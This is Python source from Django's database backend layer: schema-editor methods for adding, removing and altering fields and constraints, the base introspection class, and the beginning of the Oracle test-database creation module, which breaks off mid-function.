        Moves a model's table between tablespaces
        """
        self.execute(self.sql_retablespace_table % {
            "table": self.quote_name(model._meta.db_table),
            "old_tablespace": self.quote_name(old_db_tablespace),
            "new_tablespace": self.quote_name(new_db_tablespace),
        })

    def add_field(self, model, field):
        """
        Creates a field on a model.
        Usually involves adding a column, but may involve adding a
        table instead (for M2M fields)
        """
        # Special-case implicit M2M tables
        if field.many_to_many and field.remote_field.through._meta.auto_created:
            return self.create_model(field.remote_field.through)
        # Get the column's definition
        definition, params = self.column_sql(model, field, include_default=True)
        # It might not actually have a column behind it
        if definition is None:
            return
        # Check constraints can go on the column SQL here
        db_params = field.db_parameters(connection=self.connection)
        if db_params['check']:
            definition += " CHECK (%s)" % db_params['check']
        # Build the SQL and run it
        sql = self.sql_create_column % {
            "table": self.quote_name(model._meta.db_table),
            "column": self.quote_name(field.column),
            "definition": definition,
        }
        self.execute(sql, params)
        # Drop the default if we need to
        # (Django usually does not use in-database defaults)
        if not self.skip_default(field) and field.default is not None:
            sql = self.sql_alter_column % {
                "table": self.quote_name(model._meta.db_table),
                "changes": self.sql_alter_column_no_default % {
                    "column": self.quote_name(field.column),
                }
            }
            self.execute(sql)
        # Add an index, if required
        self.deferred_sql.extend(self._field_indexes_sql(model, field))
        # Add any FK constraints later
        if field.remote_field and self.connection.features.supports_foreign_keys and field.db_constraint:
            self.deferred_sql.append(self._create_fk_sql(model, field, "_fk_%(to_table)s_%(to_column)s"))
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()

    def remove_field(self, model, field):
        """
        Removes a field from a model. Usually involves deleting a column,
        but for M2Ms may involve deleting a table.
        """
        # Special-case implicit M2M tables
        if field.many_to_many and field.remote_field.through._meta.auto_created:
            return self.delete_model(field.remote_field.through)
        # It might not actually have a column behind it
        if field.db_parameters(connection=self.connection)['type'] is None:
            return
        # Drop any FK constraints, MySQL requires explicit deletion
        if field.remote_field:
            fk_names = self._constraint_names(model, [field.column], foreign_key=True)
            for fk_name in fk_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
        # Delete the column
        sql = self.sql_delete_column % {
            "table": self.quote_name(model._meta.db_table),
            "column": self.quote_name(field.column),
        }
        self.execute(sql)
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()

    def alter_field(self, model, old_field, new_field, strict=False):
        """
        Allows a field's type, uniqueness, nullability, default, column,
        constraints etc. to be modified.
        Requires a copy of the old field as well so we can only perform
        changes that are required.
        If strict is true, raises errors if the old column does not match old_field precisely.
        """
        # Ensure this field is even column-based
        old_db_params = old_field.db_parameters(connection=self.connection)
        old_type = old_db_params['type']
        new_db_params = new_field.db_parameters(connection=self.connection)
        new_type = new_db_params['type']
        if ((old_type is None and old_field.remote_field is None) or
                (new_type is None and new_field.remote_field is None)):
            raise ValueError(
                "Cannot alter field %s into %s - they do not properly define "
                "db_type (are you using a badly-written custom field?)" %
                (old_field, new_field),
            )
        elif old_type is None and new_type is None and (
                old_field.remote_field.through and new_field.remote_field.through and
                old_field.remote_field.through._meta.auto_created and
                new_field.remote_field.through._meta.auto_created):
            return self._alter_many_to_many(model, old_field, new_field, strict)
        elif old_type is None and new_type is None and (
                old_field.remote_field.through and new_field.remote_field.through and
                not old_field.remote_field.through._meta.auto_created and
                not new_field.remote_field.through._meta.auto_created):
            # Both sides have through models; this is a no-op.
            return
        elif old_type is None or new_type is None:
            raise ValueError(
                "Cannot alter field %s into %s - they are not compatible types "
                "(you cannot alter to or from M2M fields, or add or remove "
                "through= on M2M fields)" % (old_field, new_field)
            )

        self._alter_field(model, old_field, new_field, old_type, new_type,
                          old_db_params, new_db_params, strict)

    def _alter_field(self, model, old_field, new_field, old_type, new_type,
                     old_db_params, new_db_params, strict=False):
        """Actually perform a "physical" (non-ManyToMany) field update."""

        # Drop any FK constraints, we'll remake them later
        fks_dropped = set()
        if old_field.remote_field and old_field.db_constraint:
            fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
            if strict and len(fk_names) != 1:
                raise ValueError("Found wrong number (%s) of foreign key constraints for %s.%s" % (
                    len(fk_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for fk_name in fk_names:
                fks_dropped.add((old_field.column,))
                self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
        # Has unique been removed?
        if old_field.unique and (not new_field.unique or (not old_field.primary_key and new_field.primary_key)):
            # Find the unique constraint for this field
            constraint_names = self._constraint_names(model, [old_field.column], unique=True)
            if strict and len(constraint_names) != 1:
                raise ValueError("Found wrong number (%s) of unique constraints for %s.%s" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_unique, model, constraint_name))
        # Drop incoming FK constraints if we're a primary key and things are going
        # to change.
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            # '_meta.related_field' also contains M2M reverse fields, these
            # will be filtered out
            for _old_rel, new_rel in _related_non_m2m_objects(old_field, new_field):
                rel_fk_names = self._constraint_names(
                    new_rel.related_model, [new_rel.field.column], foreign_key=True
                )
                for fk_name in rel_fk_names:
                    self.execute(self._delete_constraint_sql(self.sql_delete_fk, new_rel.related_model, fk_name))
        # Removed an index? (no strict check, as multiple indexes are possible)
        # Remove indexes if db_index switched to False or a unique constraint
        # will now be used in lieu of an index. The following lines from the
        # truth table show all True cases; the rest are False:
        #
        # old_field.db_index | old_field.unique | new_field.db_index | new_field.unique
        # ------------------------------------------------------------------------------
        # True               | False            | False              | False
        # True               | False            | False              | True
        # True               | False            | True               | True
        if old_field.db_index and not old_field.unique and (not new_field.db_index or new_field.unique):
            # Find the index for this field
            index_names = self._constraint_names(model, [old_field.column], index=True)
            for index_name in index_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_index, model, index_name))
        # Change check constraints?
        if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
            constraint_names = self._constraint_names(model, [old_field.column], check=True)
            if strict and len(constraint_names) != 1:
                raise ValueError("Found wrong number (%s) of check constraints for %s.%s" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_check, model, constraint_name))
        # Have they renamed the column?
        if old_field.column != new_field.column:
            self.execute(self._rename_field_sql(model._meta.db_table, old_field, new_field, new_type))
        # Next, start accumulating actions to do
        actions = []
        null_actions = []
        post_actions = []
        # Type change?
        if old_type != new_type:
            fragment, other_actions = self._alter_column_type_sql(
                model._meta.db_table, old_field, new_field, new_type
            )
            actions.append(fragment)
            post_actions.extend(other_actions)
        # When changing a column NULL constraint to NOT NULL with a given
        # default value, we need to perform 4 steps:
        #  1. Add a default for new incoming writes
        #  2. Update existing NULL rows with new default
        #  3. Replace NULL constraint with NOT NULL
        #  4. Drop the default again.
        # Default change?
        old_default = self.effective_default(old_field)
        new_default = self.effective_default(new_field)
        needs_database_default = (
            old_default != new_default and
            new_default is not None and
            not self.skip_default(new_field)
        )
        if needs_database_default:
            if self.connection.features.requires_literal_defaults:
                # Some databases can't take defaults as a parameter (oracle)
                # If this is the case, the individual schema backend should
                # implement prepare_default
                actions.append((
                    self.sql_alter_column_default % {
                        "column": self.quote_name(new_field.column),
                        "type": new_type,
                        "default": self.prepare_default(new_default),
                    },
                    [],
                ))
            else:
                actions.append((
                    self.sql_alter_column_default % {
                        "column": self.quote_name(new_field.column),
                        "type": new_type,
                        "default": "%s",
                    },
                    [new_default],
                ))
        # Nullability change?
        if old_field.null != new_field.null:
            if (self.connection.features.interprets_empty_strings_as_nulls and
                    new_field.get_internal_type() in ("CharField", "TextField")):
                # The field is nullable in the database anyway, leave it alone
                pass
            elif new_field.null:
                null_actions.append((
                    self.sql_alter_column_null % {
                        "column": self.quote_name(new_field.column),
                        "type": new_type,
                    },
                    [],
                ))
            else:
                null_actions.append((
                    self.sql_alter_column_not_null % {
                        "column": self.quote_name(new_field.column),
                        "type": new_type,
                    },
                    [],
                ))
        # Only if we have a default and there is a change from NULL to NOT NULL
        four_way_default_alteration = (
            new_field.has_default() and
            (old_field.null and not new_field.null)
        )
        if actions or null_actions:
            if not four_way_default_alteration:
                # If we don't have to do a 4-way default alteration we can
                # directly run a (NOT) NULL alteration
                actions = actions + null_actions
            # Combine actions together if we can (e.g. postgres)
            if self.connection.features.supports_combined_alters and actions:
                sql, params = tuple(zip(*actions))
                actions = [(", ".join(sql), sum(params, []))]
            # Apply those actions
            for sql, params in actions:
                self.execute(
                    self.sql_alter_column % {
                        "table": self.quote_name(model._meta.db_table),
                        "changes": sql,
                    },
                    params,
                )
            if four_way_default_alteration:
                # Update existing rows with default value
                self.execute(
                    self.sql_update_with_default % {
                        "table": self.quote_name(model._meta.db_table),
                        "column": self.quote_name(new_field.column),
                        "default": "%s",
                    },
                    [new_default],
                )
                # Since we didn't run a NOT NULL change before we need to do it
                # now
                for sql, params in null_actions:
                    self.execute(
                        self.sql_alter_column % {
                            "table": self.quote_name(model._meta.db_table),
                            "changes": sql,
                        },
                        params,
                    )
        if post_actions:
            for sql, params in post_actions:
                self.execute(sql, params)
        # Added a unique?
        if (not old_field.unique and new_field.unique) or (
            old_field.primary_key and not new_field.primary_key and new_field.unique
        ):
            self.execute(self._create_unique_sql(model, [new_field.column]))
        # Added an index? Add an index if db_index switched to True or a unique
        # constraint will no longer be used in lieu of an index. The following
        # lines from the truth table show all True cases; the rest are False:
        #
        # old_field.db_index | old_field.unique | new_field.db_index | new_field.unique
        # ------------------------------------------------------------------------------
        # False              | False            | True               | False
        # False              | True             | True               | False
        # True               | True             | True               | False
        if (not old_field.db_index or old_field.unique) and new_field.db_index and not new_field.unique:
            self.execute(self._create_index_sql(model, [new_field]))
        # Type alteration on primary key? Then we need to alter the column
        # referring to us.
        rels_to_update = []
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
        # Changed to become primary key?
        # Note that we don't detect unsetting of a PK, as we assume another field
        # will always come along and replace it.
        if not old_field.primary_key and new_field.primary_key:
            # First, drop the old PK
            constraint_names = self._constraint_names(model, primary_key=True)
            if strict and len(constraint_names) != 1:
                raise ValueError("Found wrong number (%s) of PK constraints for %s" % (
                    len(constraint_names),
                    model._meta.db_table,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_pk, model, constraint_name))
            # Make the new one
            self.execute(
                self.sql_create_pk % {
                    "table": self.quote_name(model._meta.db_table),
                    "name": self.quote_name(self._create_index_name(model, [new_field.column], suffix="_pk")),
                    "columns": self.quote_name(new_field.column),
                }
            )
            # Update all referencing columns
            rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
        # Handle our type alters on the other end of rels from the PK stuff above
        for old_rel, new_rel in rels_to_update:
            rel_db_params = new_rel.field.db_parameters(connection=self.connection)
            rel_type = rel_db_params['type']
            fragment, other_actions = self._alter_column_type_sql(
                new_rel.related_model._meta.db_table, old_rel.field, new_rel.field, rel_type
            )
            self.execute(
                self.sql_alter_column % {
                    "table": self.quote_name(new_rel.related_model._meta.db_table),
                    "changes": fragment[0],
                },
                fragment[1],
            )
            for sql, params in other_actions:
                self.execute(sql, params)
        # Does it have a foreign key?
        if (new_field.remote_field and
                (fks_dropped or not old_field.remote_field or not old_field.db_constraint) and
                new_field.db_constraint):
            self.execute(self._create_fk_sql(model, new_field, "_fk_%(to_table)s_%(to_column)s"))
        # Rebuild FKs that pointed to us if we previously had to drop them
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            for rel in new_field.model._meta.related_objects:
                if not rel.many_to_many:
                    self.execute(self._create_fk_sql(rel.related_model, rel.field, "_fk"))
        # Does it have check constraints we need to add?
        if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
            self.execute(
                self.sql_create_check % {
                    "table": self.quote_name(model._meta.db_table),
                    "name": self.quote_name(self._create_index_name(model, [new_field.column], suffix="_check")),
                    "column": self.quote_name(new_field.column),
                    "check": new_db_params['check'],
                }
            )
        # Drop the default if we need to
        # (Django usually does not use in-database defaults)
        if needs_database_default:
            sql = self.sql_alter_column % {
                "table": self.quote_name(model._meta.db_table),
                "changes": self.sql_alter_column_no_default % {
                    "column": self.quote_name(new_field.column),
                    "type": new_type,
                }
            }
            self.execute(sql)
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()

    def _alter_column_type_sql(self, table, old_field, new_field, new_type):
        """
        Hook to specialize column type alteration for different backends,
        for cases when a creation type is different to an alteration type
        (e.g. SERIAL in PostgreSQL, PostGIS fields).

        Should return two things; an SQL fragment of (sql, params) to insert
        into an ALTER TABLE statement, and a list of extra (sql, params) tuples
        to run once the field is altered.
        """
        return (
            (
                self.sql_alter_column_type % {
                    "column": self.quote_name(new_field.column),
                    "type": new_type,
                },
                [],
            ),
            [],
        )

    def _alter_many_to_many(self, model, old_field, new_field, strict):
        """
        Alters M2Ms to repoint their to= endpoints.
        """
        # Rename the through table
        if old_field.remote_field.through._meta.db_table != new_field.remote_field.through._meta.db_table:
            self.alter_db_table(old_field.remote_field.through, old_field.remote_field.through._meta.db_table,
                                new_field.remote_field.through._meta.db_table)
        # Repoint the FK to the other side
        self.alter_field(
            new_field.remote_field.through,
            # We need the field that points to the target model, so we can tell alter_field to change it -
            # this is m2m_reverse_field_name() (as opposed to m2m_field_name, which points to our model)
            old_field.remote_field.through._meta.get_field(old_field.m2m_reverse_field_name()),
            new_field.remote_field.through._meta.get_field(new_field.m2m_reverse_field_name()),
        )
        self.alter_field(
            new_field.remote_field.through,
            # for self-referential models we need to alter field from the other end too
            old_field.remote_field.through._meta.get_field(old_field.m2m_field_name()),
            new_field.remote_field.through._meta.get_field(new_field.m2m_field_name()),
        )

    def _create_index_name(self, model, column_names, suffix=""):
        """
        Generates a unique name for an index/unique constraint.

        The name is divided into 3 parts: the table name, the column names,
        and a unique digest and suffix.
        """
        table_name = model._meta.db_table
        hash_data = [table_name] + list(column_names)
        hash_suffix_part = '%s%s' % (self._digest(*hash_data), suffix)
        max_length = self.connection.ops.max_name_length() or 200
        # If everything fits into max_length, use that name.
        index_name = '%s_%s_%s' % (table_name, '_'.join(column_names), hash_suffix_part)
        if len(index_name) <= max_length:
            return index_name
        # Shorten a long suffix.
        if len(hash_suffix_part) > max_length / 3:
            hash_suffix_part = hash_suffix_part[:max_length // 3]
        other_length = (max_length - len(hash_suffix_part)) // 2 - 1
        index_name = '%s_%s_%s' % (
            table_name[:other_length],
            '_'.join(column_names)[:other_length],
            hash_suffix_part,
        )
        # Prepend D if needed to prevent the name from starting with an
        # underscore or a number (not permitted on Oracle).
        if index_name[0] == "_" or index_name[0].isdigit():
            index_name = "D%s" % index_name[:-1]
        return index_name

    def _get_index_tablespace_sql(self, model, fields):
        if len(fields) == 1 and fields[0].db_tablespace:
            tablespace_sql = self.connection.ops.tablespace_sql(fields[0].db_tablespace)
        elif model._meta.db_tablespace:
            tablespace_sql = self.connection.ops.tablespace_sql(model._meta.db_tablespace)
        else:
            tablespace_sql = ""
        if tablespace_sql:
            tablespace_sql = " " + tablespace_sql
        return tablespace_sql

    def _create_index_sql(self, model, fields, suffix="", sql=None):
        """
        Return the SQL statement to create the index for one or several fields.
        `sql` can be specified if the syntax differs from the standard (GIS
        indexes, ...).
        """
        tablespace_sql = self._get_index_tablespace_sql(model, fields)
        columns = [field.column for field in fields]
        sql_create_index = sql or self.sql_create_index
        return sql_create_index % {
            "table": self.quote_name(model._meta.db_table),
            "name": self.quote_name(self._create_index_name(model, columns, suffix=suffix)),
            "using": "",
            "columns": ", ".join(self.quote_name(column) for column in columns),
            "extra": tablespace_sql,
        }

    def _model_indexes_sql(self, model):
        """
        Return all index SQL statements (field indexes, index_together,
        Meta.indexes) for the specified model, as a list.
        """
        if not model._meta.managed or model._meta.proxy or model._meta.swapped:
            return []
        output = []
        for field in model._meta.local_fields:
            output.extend(self._field_indexes_sql(model, field))

        for field_names in model._meta.index_together:
            fields = [model._meta.get_field(field) for field in field_names]
            output.append(self._create_index_sql(model, fields, suffix="_idx"))

        for index in model._meta.indexes:
            output.append(index.create_sql(model, self))
        return output

    def _field_indexes_sql(self, model, field):
        """
        Return a list of all index SQL statements for the specified field.
        """
        output = []
        if self._field_should_be_indexed(model, field):
            output.append(self._create_index_sql(model, [field]))
        return output

    def _field_should_be_indexed(self, model, field):
        return field.db_index and not field.unique

    def _rename_field_sql(self, table, old_field, new_field, new_type):
        return self.sql_rename_column % {
            "table": self.quote_name(table),
            "old_column": self.quote_name(old_field.column),
            "new_column": self.quote_name(new_field.column),
            "type": new_type,
        }

    def _create_fk_sql(self, model, field, suffix):
        from_table = model._meta.db_table
        from_column = field.column
        to_table = field.target_field.model._meta.db_table
        to_column = field.target_field.column
        suffix = suffix % {
            "to_table": to_table,
            "to_column": to_column,
        }

        return self.sql_create_fk % {
            "table": self.quote_name(from_table),
            "name": self.quote_name(self._create_index_name(model, [from_column], suffix=suffix)),
            "column": self.quote_name(from_column),
            "to_table": self.quote_name(to_table),
            "to_column": self.quote_name(to_column),
            "deferrable": self.connection.ops.deferrable_sql(),
        }

    def _create_unique_sql(self, model, columns):
        return self.sql_create_unique % {
            "table": self.quote_name(model._meta.db_table),
            "name": self.quote_name(self._create_index_name(model, columns, suffix="_uniq")),
            "columns": ", ".join(self.quote_name(column) for column in columns),
        }

    def _delete_constraint_sql(self, template, model, name):
        return template % {
            "table": self.quote_name(model._meta.db_table),
            "name": self.quote_name(name),
        }

    def _constraint_names(self, model, column_names=None, unique=None,
                          primary_key=None, index=None, foreign_key=None,
                          check=None):
        """
        Returns all constraint names matching the columns and conditions
        """
        if column_names is not None:
            column_names = [
                self.connection.introspection.column_name_converter(name)
                for name in column_names
            ]
        with self.connection.cursor() as cursor:
            constraints = self.connection.introspection.get_constraints(cursor, model._meta.db_table)
        result = []
        for name, infodict in constraints.items():
            if column_names is None or column_names == infodict['columns']:
                if unique is not None and infodict['unique'] != unique:
                    continue
                if primary_key is not None and infodict['primary_key'] != primary_key:
                    continue
                if index is not None and infodict['index'] != index:
                    continue
                if check is not None and infodict['check'] != check:
                    continue
                if foreign_key is not None and not infodict['foreign_key']:
                    continue
                result.append(name)
        return result






from collections import namedtuple

from django.utils import six

# Structure returned by DatabaseIntrospection.get_table_list()
TableInfo = namedtuple('TableInfo', ['name', 'type'])

# Structure returned by the DB-API cursor.description interface (PEP 249)
FieldInfo = namedtuple('FieldInfo', 'name type_code display_size internal_size precision scale null_ok')


class BaseDatabaseIntrospection(object):
    """
    This class encapsulates all backend-specific introspection utilities
    """
    data_types_reverse = {}

    def __init__(self, connection):
        self.connection = connection

    def get_field_type(self, data_type, description):
        """Hook for a database backend to use the cursor description to
        match a Django field type to a database column.

        For Oracle, the column data_type on its own is insufficient to
        distinguish between a FloatField and IntegerField, for example."""
        return self.data_types_reverse[data_type]

    def table_name_converter(self, name):
        """Apply a conversion to the name for the purposes of comparison.

        The default table name converter is for case sensitive comparison.
        """
        return name

    def column_name_converter(self, name):
        """
        Apply a conversion to the column name for the purposes of comparison.

        Uses table_name_converter() by default.
        """
        return self.table_name_converter(name)

    def table_names(self, cursor=None, include_views=False):
        """
        Returns a list of names of all tables that exist in the database.
        The returned table list is sorted by Python's default sorting. We
        do NOT use database's ORDER BY here to avoid subtle differences
        in sorting order between databases.
        """
        def get_names(cursor):
            return sorted(ti.name for ti in self.get_table_list(cursor)
                          if include_views or ti.type == 't')
        if cursor is None:
            with self.connection.cursor() as cursor:
                return get_names(cursor)
        return get_names(cursor)

    def get_table_list(self, cursor):
        """
        Returns an unsorted list of TableInfo named tuples of all tables and
        views that exist in the database.
        """
        raise NotImplementedError('subclasses of BaseDatabaseIntrospection may require a get_table_list() method')

    def django_table_names(self, only_existing=False, include_views=True):
        """
        Returns a list of all table names that have associated Django models and
        are in INSTALLED_APPS.

        If only_existing is True, the resulting list will only include the tables
        that actually exist in the database.
        """
        from django.apps import apps
        from django.db import router
        tables = set()
        for app_config in apps.get_app_configs():
            for model in router.get_migratable_models(app_config, self.connection.alias):
                if not model._meta.managed:
                    continue
                tables.add(model._meta.db_table)
                tables.update(
                    f.m2m_db_table() for f in model._meta.local_many_to_many
                    if f.remote_field.through._meta.managed
                )
        tables = list(tables)
        if only_existing:
            existing_tables = self.table_names(include_views=include_views)
            tables = [
                t
                for t in tables
                if self.table_name_converter(t) in existing_tables
            ]
        return tables

    def installed_models(self, tables):
        "Returns a set of all models represented by the provided list of table names."
        from django.apps import apps
        from django.db import router
        all_models = []
        for app_config in apps.get_app_configs():
            all_models.extend(router.get_migratable_models(app_config, self.connection.alias))
        tables = list(map(self.table_name_converter, tables))
        return {
            m for m in all_models
            if self.table_name_converter(m._meta.db_table) in tables
        }

    def sequence_list(self):
        "Returns a list of information about all DB sequences for all models in all apps."
        from django.apps import apps
        from django.db import models, router

        sequence_list = []

        for app_config in apps.get_app_configs():
            for model in router.get_migratable_models(app_config, self.connection.alias):
                if not model._meta.managed:
                    continue
                if model._meta.swapped:
                    continue
                for f in model._meta.local_fields:
                    if isinstance(f, models.AutoField):
                        sequence_list.append({'table': model._meta.db_table, 'column': f.column})
                        break  # Only one AutoField is allowed per model, so don't bother continuing.

                for f in model._meta.local_many_to_many:
                    # If this is an m2m using an intermediate table,
                    # we don't need to reset the sequence.
                    if f.remote_field.through is None:
                        sequence_list.append({'table': f.m2m_db_table(), 'column': None})

        return sequence_list

    def get_key_columns(self, cursor, table_name):
        """
        Backends can override this to return a list of (column_name, referenced_table_name,
        referenced_column_name) for all key columns in given table.
        """
        raise NotImplementedError('subclasses of BaseDatabaseIntrospection may require a get_key_columns() method')

    def get_primary_key_column(self, cursor, table_name):
        """
        Returns the name of the primary key column for the given table.
        """
        for column in six.iteritems(self.get_indexes(cursor, table_name)):
            if column[1]['primary_key']:
                return column[0]
        return None

    def get_indexes(self, cursor, table_name):
        """
        Returns a dictionary of indexed fieldname -> infodict for the given
        table, where each infodict is in the format:
            {'primary_key': boolean representing whether it's the primary key,
             'unique': boolean representing whether it's a unique index}

        Only single-column indexes are introspected.
        """
        raise NotImplementedError('subclasses of BaseDatabaseIntrospection may require a get_indexes() method')

    def get_constraints(self, cursor, table_name):
        """
        Retrieves any constraints or keys (unique, pk, fk, check, index)
        across one or more columns.

        Returns a dict mapping constraint names to their attributes,
        where attributes is a dict with keys:
         * columns: List of columns this covers
         * primary_key: True if primary key, False otherwise
         * unique: True if this is a unique constraint, False otherwise
         * foreign_key: (table, column) of target, or None
         * check: True if check constraint, False otherwise
         * index: True if index, False otherwise.

        Some backends may return special constraint names that don't exist
        if they don't name constraints of a certain type (e.g. SQLite)
        """
        raise NotImplementedError('subclasses of BaseDatabaseIntrospection may require a get_constraints() method')












import sys
import time

from django.conf import settings
from django.db.backends.base.creation import BaseDatabaseCreation
from django.db.utils import DatabaseError
from django.utils.functional import cached_property
from django.utils.six.moves import input

TEST_DATABASE_PREFIX = 'test_'
PASSWORD = 'Im_a_lumberjack'


class DatabaseCreation(BaseDatabaseCreation):

    @cached_property
    def _maindb_connection(self):
        """
        This is analogous to other backends' `_nodb_connection` property,
        which allows access to an "administrative" connection which can
        be used to manage the test databases.
        For Oracle, the only connection that can be used for that purpose
        is the main (non-test) connection.
        """
        settings_dict = settings.DATABASES[self.connection.alias]
        user = settings_dict.get('SAVED_USER') or settings_dict['USER']
        password = settings_dict.get('SAVED_PASSWORD') or settings_dict['PASSWORD']
        settings_dict = settings_dict.copy()
        settings_dict.update(USER=user, PASSWORD=password)
        DatabaseWrapper = type(self.connection)
        return DatabaseWrapper(settings_dict, alias=self.connection.alias)

    def _create_test_db(self, verbosity=1, autoclobber=False, keepdb=False):
        parameters = self._get_test_db_params()
        cursor = self._maindb_connection.cursor()
        if self._test_database_create():
            try:
                self._execute_test_db_creation(cursor, parameters, verbosity, keepdb)
            except Exception as e:
                # if we want to keep the db, then no need to do any of the below,
                # just return and skip it all.
                if keepdb:
                    return
                sys.stderr.write("Got an error creating the test database: %s\n" % e)
                if not autoclobber:
                    confirm = input(
                        "It appears the test database, %s, already exists. "
                        "Type 'yes' to delete it, or 'no' to cancel: " % parameters['user'])
                if autoclobber or confirm == 'yes':
                    if verbosity >= 1:
                        print("Destroying old test database for alias '%s'..." % self.connection.alias)
                    try:
                        self._execute_test_db_destruction(cursor, parameters, verbosity)
                    except DatabaseError as e:
                        if 'ORA-29857' in str(e):
                            self._handle_objects_preventing_db_destruction(cursor, parameters,
                                                                           verbosity, autoclobber)
                        else:
                            # Ran into a database error that isn't about leftover objects in the tablespace
                            sys.stderr.write("Got an error destroying the old test database: %s\n" % e)
                            sys.exit(2)
                    except Exception as e:
                        sys.stderr.write("Got an error destroying the old test database: %s\n" % e)
                        sys.exit(2)
                    try:
                        self._execute_test_db_creation(cursor, parameters, verbosity, keepdb)
                    except Exception as e:
                        sys.stderr.write("Got an error recreating the test database: %s\n" % e)
                        sys.exit(2)
                else:
                    print("Tests cancelled.")
                    sys.exit(1)

        if self._test_user_create():
            if verbosity >= 1:
                print("Creating test user...")
            try:
                self._create_test_user(cursor, parameters, verbosity, keepdb)
            except Exception as e:
                # If we want to keep the db, then we want to also keep the user.
                if keepdb:
                    return
                sys.stderr.write("Got an error creating the test user: %s\n" % e)
                if not autoclobber:
                    confirm = input(
                        "It appears the test user, %s, already exists. Type "
                        "'yes' to delete it, or 'no' to cancel: " % parameters['user'])
                if autoclobber or confirm == 'yes':
                    try:
                        if verbosity >= 1:
                            print("Destroying old test user...")
                        self._destroy_test_user(cursor, parameters, verbosity)
                        if verbosity >= 1:
                            print("Creating test user...")
                        self._create_test_user(cursor, parameters, verbosity, keepdb)
                    except Exception as e:
                        sys.stderr.write("Got an error recreating the test user: %s\n" % e)
                        sys.exit(2)
                else:
                    print("Tests cancelled.")
                    sys.exit(1)

        self._maindb_connection.close()  # done with main user -- test user and tablespaces created
        self._switch_to_test_user(parameters)
        return self.connection.settings_dict['NAME']

    def _switch_to_test_user(self, parameters):
        """
        Oracle doesn't have the concept of separate databases under the same user.
        Thus, we use a separate user (see _create_test_db). This method is used
        to switch to that user. We will need the main user again for clean-up when
        we end testing, so we keep its credentials in SAVED_USER/SAVED_PASSWORD
        entries in the settings dict.
        """
        real_settings = settings.DATABASES[self.connection.alias]
        real_settings['SAVED_USER'] = self.connection.settings_dict['SAVED_USER'] = \
            self.connection.settings_dict['USER']
        real_settings['SAVED_PASSWORD'] = self.connection.settings_dict['SAVED_PASSWORD'] = \
            self.connection.settings_dict['PASSWORD']
        real_test_settings = real_settings['TEST']
        test_settings = self.connection.settings_dict['TEST']
        real_test_settings['USER'] = real_settings['USER'] = test_settings['USER'] = \
            self.connection.settings_dict['USER'] = parameters['user']
        real_settings['PASSWORD'] = self.connection.settings_dict['PASSWORD'] = parameters['password']

    def set_as_test_mirror(self, primary_settings_dict):
        """
        Set this database up to be used in testing as a mirror of a primary database
        whose settings are given
        """
        self.connection.settings_dict['USER'] = primary_settings_dict['USER']
        self.connection.settings_dict['PASSWORD'] = primary_settings_dict['PASSWORD']

    def _handle_objects_preventing_db_destruction(self, cursor, parameters, verbosity, autoclobber):
        # There are objects in the test tablespace which prevent dropping it
        # The easy fix is to drop the test user -- but are we allowed to do so?
        print("There are objects in the old test database which prevent its destruction.")
        print("If they belong to the test user, deleting the user will allow the test "
              "database to be recreated.")
        print("Otherwise, you will need to find and remove each of these objects, "
              "or use a different tablespace.\n")
        if self._test_user_create():
            if not autoclobber:
                confirm = input("Type 'yes' to delete user %s: " % parameters['user'])
            if autoclobber or confirm == 'yes':
                try:
                    if verbosity >= 1:
                        print("Destroying old test user...")
                    self._destroy_test_user(cursor, parameters, verbosity)
                except Exception as e:
                    sys.stderr.write("Got an error destroying the test user: %s\n" % e)
                    sys.exit(2)
                try:
                    if verbosity >= 1:
                        print("Destroying old test database for alias '%s'..." % self.connection.alias)
                    self._execute_test_db_destruction(cursor, parameters, verbosity)
                except Exception as e:
                    sys.stderr.write("Got an error destroying the test database: %s\n" % e)
                    sys.exit(2)
            else:
                print("Tests cancelled -- test database cannot be recreated.")
                sys.exit(1)
        else:
            print("Django is configured to use pre-existing test user '%s',"
                  " and will not attempt to delete it.\n" % parameters['user'])
            print("Tests cancelled -- test database cannot be recreated.")
            sys.exit(1)

    def _destroy_test_db(self, test_database_name, verbosity=1):
        """
        Destroy a test database, prompting the user for confirmation if the
        database already exists. Returns the name of the test database created.
        """
        self.connection.settings_dict['USER'] = self.connection.settings_dict['SAVED_USER']
        self.connection.settings_dict['PASSWORD'] = self.connection.settings_dict['SAVED_PASSWORD']
        self.connection.close()
        parameters = self._get_test_db_params()
        cursor = self._maindb_connection.cursor()
        time.sleep(1)  # To avoid "database is being accessed by other users" errors.
        if self._test_user_create():
            if verbosity >= 1:
                print('Destroying test user...')
            self._destroy_test_user(cursor, parameters, verbosity)
        if self._test_database_create():
            if verbosity >= 1:
                print('Destroying test database tables...')
            self._execute_test_db_destruction(cursor, parameters, verbosity)
        self._maindb_connection.close()

    def _execute_test_db_creation(self, cursor, parameters, verbosity, keepdb=False):
        if verbosity >= 2:
            print("_create_test_db(): dbname = %s" % parameters['user'])
        statements = [
            """CREATE TABLESPACE %(tblspace)s
               DATAFILE '%(datafile)s' SIZE 20M
               REUSE AUTOEXTEND ON NEXT 10M MAXSIZE %(maxsize)s
            """,
            """CREATE TEMPORARY TABLESPACE %(tblspace_temp)s
               TEMPFILE '%(datafile_tmp)s' SIZE 20M
               REUSE AUTOEXTEND ON NEXT 10M MAXSIZE %(maxsize_tmp)s
            """,
        ]
        # Ignore "tablespace already exists" error when keepdb is on.
        acceptable_ora_err = 'ORA-01543' if keepdb else None
